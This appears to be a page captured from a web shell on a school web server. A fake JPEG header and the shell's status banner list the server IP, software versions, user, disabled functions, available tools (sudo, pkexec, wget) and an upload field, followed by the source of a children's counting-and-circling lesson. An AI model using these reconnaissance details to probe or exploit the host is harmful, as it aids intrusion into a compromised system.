????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.133.59.209 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old3/Html/LevelC/Category2/ |
Upload File : |
<!DOCTYPE html> <html> <head> <title>Count the slices & circle the dogs</title> <script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script> <style type="text/css"> svg { position: absolute; background-color: transparent; } </style> <script> function page_preLoad() { shared_setDeviceTypeLevelCategoryLastLesson(Level.C, Category.No2); shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta'); shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.C, Category.No2, 13), true, true); shared_setFooterTable('id_tblFooter', true, true, true, true, true); var ids_headings = ['id_td_heading1', 'id_td_heading2', 'id_td_heading3', 'id_td_heading4']; var ids_boxes = ['id_dropBox_no7', 'id_dropBox_no3', 'id_dropBox_set1_no5_1', 'id_dropBox_no4', 'id_dropBox_set1_no5_2']; var ids_options = ['id_td_no7', 'id_td_no3', 'id_td_set1_no5_1', 'id_td_no4', 'id_td_set1_no5_2']; var ids_spans = ['id_span_no7', 'id_span_no3', 'id_span_set1_no5_1', 'id_span_no4', 'id_span_set1_no5_2']; var ids_All = ids_headings.concat(ids_boxes); shared_adjust_fontSize_for_ids_all_devices(ids_All, 80); shared_adjust_fontSize_for_ids_all_devices(ids_options, 100); shared_init_dropBox_tds_withOUT_drag_here(ids_boxes); shared_init_dropping_spans(ids_spans); shared_hideAllExceptFirstElement('id_span_set1_no5_', 2); shared_set_all_draggble_to_false_except_first_element('id_td_set1_no5_', 2); } function page_onLoad() { setAllSvgsWidthHeightAndPositionFromTds(); setAllEllipseStyles(); } function setAllSvgsWidthHeightAndPositionFromTds() { var nTdsOrSets = 6; for (var nthTdOrSet = 1; nthTdOrSet <= nTdsOrSets; nthTdOrSet++) { shared_svg_setSvgWidthHeightAndPositionFromTd('id_td' + nthTdOrSet + 'Set2', 'id_svg' + nthTdOrSet + 'Set2'); } } function setAllEllipseStyles() { var allEllipseIdsArray = new Array(); for (var nthEllipse = 1; nthEllipse <= 14; nthEllipse++) { allEllipseIdsArray.push('id_ellipse' + nthEllipse + 'Set2'); } for (var indexEllipse = 0; indexEllipse < allEllipseIdsArray.length; indexEllipse++) { var id_ellipse = allEllipseIdsArray[indexEllipse]; shared_svg_setEllipseStyle(id_ellipse); } } function ellipse_click(id_ellipse) { var eEllipse = document.getElementById(id_ellipse); if (eEllipse.isValidated) { clearAllEllipses(); eEllipse = document.getElementById(id_ellipse); } if (eEllipse.circleColor == CircleColorSvg.None)//Transparent { eEllipse.style.stroke = '#ff0000';//Red eEllipse.circleColor = CircleColorSvg.Red; } else if (eEllipse.circleColor == CircleColorSvg.Red)//Red { eEllipse.style.stroke = '#008000';//Green eEllipse.circleColor = CircleColorSvg.Green; } else if (eEllipse.circleColor == CircleColorSvg.Green)//Green { eEllipse.style.stroke = 'rgba(0, 0, 0, 0)';//Transparent eEllipse.circleColor = CircleColorSvg.None; } } function clearAllEllipses() { var allEllipseIdsArray = ['id_ellipse1Set2', 'id_ellipse2Set2', 'id_ellipse3Set2', 'id_ellipse4Set2', 'id_ellipse5Set2', 'id_ellipse6Set2', 'id_ellipse7Set2', 'id_ellipse8Set2', 'id_ellipse9Set2', 'id_ellipse10Set2', 'id_ellipse11Set2', 'id_ellipse12Set2', 'id_ellipse13Set2', 'id_ellipse14Set2']; shared_svg_clearMultiEllipsesUsingIdsArray(allEllipseIdsArray); } function btnValidate_click() { var redReqdEllipseIdsArray = ['id_ellipse2Set2', 'id_ellipse4Set2', 'id_ellipse6Set2', 'id_ellipse8Set2', 'id_ellipse9Set2', 'id_ellipse14Set2']; var nRedCorrectEllipses = shared_svg_validateEllipsesForValidationReqd(redReqdEllipseIdsArray, CircleColorSvg.Red);//Red var greenReqdEllipseIdsArray = ['id_ellipse1Set2', 'id_ellipse3Set2', 'id_ellipse5Set2', 'id_ellipse7Set2', 'id_ellipse10Set2', 'id_ellipse11Set2']; var nGreenCorrectEllipses = shared_svg_validateEllipsesForValidationReqd(greenReqdEllipseIdsArray, CircleColorSvg.Green);//Green var ellipseIdsArrayValidationNotReqd = ['id_ellipse12Set2', 'id_ellipse13Set2']; shared_svg_validateEllipsesForValidationNotReqdForMulti(ellipseIdsArrayValidationNotReqd); var ids_boxes = ['id_dropBox_no7', 'id_dropBox_no3', 'id_dropBox_set1_no5_1', 'id_dropBox_no4', 'id_dropBox_set1_no5_2']; var isAllBoxesFilled = shared_isAllInfosFilled(ids_boxes); var eEllipse12 = document.getElementById('id_ellipse12Set2'); var isEllipse12NotCircled = (eEllipse12.circleColor == CircleColorSvg.None); var eEllipse13 = document.getElementById('id_ellipse13Set2'); var isEllipse13NotCircled = (eEllipse13.circleColor == CircleColorSvg.None); if (nRedCorrectEllipses == 6 && nGreenCorrectEllipses == 6 && isAllBoxesFilled && isEllipse12NotCircled && isEllipse13NotCircled) { shared_show_claps_animation('shared_id_div_claps_image'); } } function btnPrevious_click() { window.location = 'LevelCCat2Lesson12.html'; } function btnNext_click() { window.location = 'LevelCCat2Lesson14.html'; } function btnHome_click() { shared_btnHomeCategories_click('LevelC'); } function DragDrop(id_dropBox, setNo, textNo, ids_array) { if (shared_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array)) { shared_setTextAndBackgroundColorToGreenAndIsMovedTrue(shared_currentDropingId, id_dropBox); if (setNo == 1) { if (textNo == 5) { showNextSet1_no5(); } } shared_set_currentDropingId_draggbleToFalse(); } else { shared_resetCurrentDroppingPosition(id_dropBox); } } function showNextSet1_no5() { shared_unHideNextElementNew('id_span_set1_no5_', 2); } </script> </head> <body onload="page_onLoad()"> <div id="shared_id_div_claps_image"> </div> <table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0"> <tr height="8%"> <td> <div id="id_tblHeader"></div> </td> </tr> <tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device --> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%"> <tr height="40%"> <td style="padding-bottom: 0px"> <table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse"> <tr height="15%"> <td id="id_td_heading1" class="shared_style_options_blue_24px_bold"> Count the <span style="color:red">slices</span> of different vegetables: </td> </tr> <tr height="*"> <td align="center" style="border-top: 0px"> <img id="id_imgVegetables" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/vegetables.png" width="50%" height="auto"> </td> </tr> <tr height="15%"> <td style="border-bottom: 0px"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td id="id_td_heading2" width="*" class="shared_style_options_blue_24px_bold">Options:</td> <td id="id_td_no7" class="shared_style_red_24px_bold" width="17%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)"> <span id="id_span_no7" class="cls_drag_no7">7</span> </td> <td id="id_td_no3" class="shared_style_red_24px_bold" width="17%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)"> <span id="id_span_no3" class="cls_drag_no3">3</span> </td> <td id="id_td_set1_no5_1" class="shared_style_red_24px_bold" width="17%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)"> <span id="id_span_set1_no5_1" class="cls_drag_set1_no5_1">5</span> </td> <td id="id_td_no4" class="shared_style_red_24px_bold" width="17%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)"> <span id="id_span_no4" class="cls_drag_no4">4</span> </td> <td id="id_td_set1_no5_2" class="shared_style_red_24px_bold" width="17%" align="center" draggable="true" ondragstart="shared_dragStartNew(event)"> <span id="id_span_set1_no5_2" class="cls_drag_set1_no5_2">5</span> </td> </tr> </table> </td> </tr> <tr height="25%"> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td id="id_td_dropBox_set1_no5_1" width="20%" ondragover="shared_highlight('id_dropBox_set1_no5_1'); shared_allowDrop_web(event)" ondragleave="shared_un_highlight('id_dropBox_set1_no5_1')" ondrop="DragDrop('id_dropBox_set1_no5_1', 1, 5, ['id_span_set1_no5_1', 'id_span_set1_no5_2'])"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="50%" align="right"> <img id="id_imgCucumber" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/cucumber.png" width="80%" height="auto"> </td> <td width="*"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr height="*"> <td> </td> </tr> <tr height="50%"> <td id="id_dropBox_set1_no5_1" class="shared_style_red_24px_bold" width="10%" align="center">___</td> </tr> <tr height="30%"> <td> </td> </tr> </table> </td> </tr> </table> </td> <td id="id_td_dropBox_no4" width="20%" ondragover="shared_highlight('id_dropBox_no4'); shared_allowDrop_web(event)" ondragleave="shared_un_highlight('id_dropBox_no4')" ondrop="DragDrop('id_dropBox_no4', 1, 4, ['id_span_no4'])"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="50%" align="right"> <img id="id_imgTomato" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/tomato.png" width="80%" height="auto"> </td> <td width="*"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr height="*"> <td> </td> </tr> <tr height="50%"> <td id="id_dropBox_no4" class="shared_style_red_24px_bold" width="10%" align="center">___</td> </tr> <tr height="30%"> <td> </td> </tr> </table> </td> </tr> </table> </td> <td id="id_td_dropBox_no3" width="20%" ondragover="shared_highlight('id_dropBox_no3'); shared_allowDrop_web(event)" ondragleave="shared_un_highlight('id_dropBox_no3')" ondrop="DragDrop('id_dropBox_no3', 1, 3, ['id_span_no3'])"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="50%" align="right"> <img id="id_imgCarrot" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/carrot.png" width="80%" height="auto"> </td> <td width="*"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr height="*"> <td> </td> </tr> <tr height="50%"> <td id="id_dropBox_no3" class="shared_style_red_24px_bold" width="10%" align="center">___</td> </tr> <tr height="30%"> <td> </td> </tr> </table> </td> </tr> </table> </td> <td id="id_td_dropBox_no7" width="20%" ondragover="shared_highlight('id_dropBox_no7'); shared_allowDrop_web(event)" ondragleave="shared_un_highlight('id_dropBox_no7')" ondrop="DragDrop('id_dropBox_no7', 1, 7, ['id_span_no7'])"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="50%" align="right"> <img id="id_imgPotato" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/potato.png" width="80%" height="auto"> </td> <td width="*"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr height="*"> <td> </td> </tr> <tr height="50%"> <td id="id_dropBox_no7" class="shared_style_red_24px_bold" width="10%" align="center">___</td> </tr> <tr height="30%"> <td> </td> </tr> </table> </td> </tr> </table> </td> <td id="id_td_dropBox_set1_no5_2" width="*" ondragover="shared_highlight('id_dropBox_set1_no5_2'); shared_allowDrop_web(event)" ondragleave="shared_un_highlight('id_dropBox_set1_no5_2')" ondrop="DragDrop('id_dropBox_set1_no5_2', 1, 5, ['id_span_set1_no5_1', 'id_span_set1_no5_2'])"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="50%" align="right"> <img id="id_imgOnion" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/onion.png" width="80%" height="auto"> </td> <td width="*"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr height="*"> <td> </td> </tr> <tr height="50%"> <td id="id_dropBox_set1_no5_2" class="shared_style_red_24px_bold" width="10%" align="center">___</td> </tr> <tr height="30%"> <td> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> <tr height="*"> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse"> <tr height="8%"> <td id="id_td_heading3" class="shared_style_options_blue_24px_bold" style="border-bottom: 0px"> Circle the big dog in <span style="color:red">red</span> and small dog in <span style="color:green">green</span>: </td> </tr> <tr height="8%"> <td id="id_td_heading4" class="shared_style_options_blue_24px_bold" style="border-top: 0px; border-bottom: 0px"> [Click 1 time for <span style="color:red">red</span> and click 2 times for <span style="color:green">green</span> color] </td> </tr> <tr height="*"> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"> <tr height="50%"> <td id="id_td1Set2" width="33%" align="center"> <img id="id_imgDogsSet1" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/dogsSet1.png" width="50%" height="auto"> <svg id="id_svg1Set2" style="visibility: hidden"> <ellipse id="id_ellipse1Set2" cx="29%" cy="63%" rx="6%" ry="17%"/> <ellipse id="id_ellipse2Set2" cx="56%" cy="50%" rx="20%" ry="45%"/> </svg> </td> <td id="id_td2Set2" width="33%" align="center"> <img id="id_imgDogsSet2" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/dogsSet2.png" width="50%" height="auto"> <svg id="id_svg2Set2" style="visibility: hidden"> <ellipse id="id_ellipse3Set2" cx="34%" cy="55%" rx="10%" ry="25%"/> <ellipse id="id_ellipse4Set2" cx="61%" cy="51%" rx="17%" ry="45%"/> </svg> </td> <td id="id_td3Set2" width="*" align="center"> <img id="id_imgDogsSet3" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/dogsSet3.png" width="50%" height="auto"> <svg id="id_svg3Set2" style="visibility: hidden"> <ellipse id="id_ellipse5Set2" cx="31%" cy="68%" rx="7%" ry="25%"/> <ellipse id="id_ellipse6Set2" cx="56%" cy="51%" rx="18%" ry="45%"/> </svg> </td> </tr> <tr height="*"> <td id="id_td4Set2" width="33%" align="center"> <img id="id_imgDogsSet4" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/dogsSet4.png" width="50%" height="auto"> <svg id="id_svg4Set2" style="visibility: hidden"> <ellipse id="id_ellipse7Set2" cx="33%" cy="55%" rx="9%" ry="23%"/> <ellipse id="id_ellipse8Set2" cx="58%" cy="51%" rx="16%" ry="40%"/> </svg> </td> <td id="id_td5Set2" width="33%" align="center"> <img id="id_imgDogsSet5" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/dogsSet5.png" width="50%" height="auto"> <svg id="id_svg5Set2" style="visibility: hidden"> <ellipse id="id_ellipse9Set2" cx="41%" cy="51%" rx="18%" ry="38%"/> <ellipse id="id_ellipse10Set2" cx="66%" cy="57%" rx="8%" ry="18%"/> </svg> </td> <td id="id_td6Set2" width="*" align="center"> <img id="id_imgDogsSet6" src="../../../img/LevelC/Category2/LevelCCat2Lesson13/dogsSet6.png" width="50%" height="auto"> <svg id="id_svg6Set2" style="visibility: hidden"> <ellipse id="id_ellipse11Set2" cx="30%" cy="63%" rx="5%" ry="16%"/> <ellipse id="id_ellipse12Set2" cx="39%" cy="59%" rx="5%" ry="18%"/> <ellipse id="id_ellipse13Set2" cx="53%" cy="53%" rx="8%" ry="22%"/> <ellipse id="id_ellipse14Set2" cx="71%" cy="48%" rx="10%" ry="30%"/> </svg> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> <tr height="8%"> <td> <div id="id_tblFooter"></div> </td> </tr> </table> <script> page_preLoad(); new webkit_draggable('id_span_no7', {handle : 'id_td_no7', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}}); new webkit_draggable('id_span_no3', {handle : 'id_td_no3', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}}); new webkit_draggable('id_span_set1_no5_1', {handle : 'id_td_set1_no5_1', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}}); new webkit_draggable('id_span_no4', {handle : 'id_td_no4', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}}); new webkit_draggable('id_span_set1_no5_2', {handle : 'id_td_set1_no5_2', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}}); webkit_drop.add('id_td_dropBox_no7', {onOver : function(){shared_highlight('id_dropBox_no7')}, onOut : function(){shared_un_highlight('id_dropBox_no7')}, onDrop : function(){DragDrop('id_dropBox_no7', 1, 7, ['id_span_no7'])}}); webkit_drop.add('id_td_dropBox_no3', {onOver : function(){shared_highlight('id_dropBox_no3')}, onOut : function(){shared_un_highlight('id_dropBox_no3')}, onDrop : function(){DragDrop('id_dropBox_no3', 1, 3, ['id_span_no3'])}}); webkit_drop.add('id_td_dropBox_set1_no5_1', {onOver : function(){shared_highlight('id_dropBox_set1_no5_1')}, onOut : function(){shared_un_highlight('id_dropBox_set1_no5_1')}, onDrop : function(){DragDrop('id_dropBox_set1_no5_1', 1, 5, ['id_span_set1_no5_1', 'id_span_set1_no5_2'])}}); webkit_drop.add('id_td_dropBox_no4', {onOver : function(){shared_highlight('id_dropBox_no4')}, onOut : function(){shared_un_highlight('id_dropBox_no4')}, onDrop : function(){DragDrop('id_dropBox_no4', 1, 4, ['id_span_no4'])}}); webkit_drop.add('id_td_dropBox_set1_no5_2', {onOver : function(){shared_highlight('id_dropBox_set1_no5_2')}, onOut : function(){shared_un_highlight('id_dropBox_set1_no5_2')}, onDrop : function(){DragDrop('id_dropBox_set1_no5_2', 1, 5, ['id_span_set1_no5_1', 'id_span_set1_no5_2'])}}); </script> </body> </html>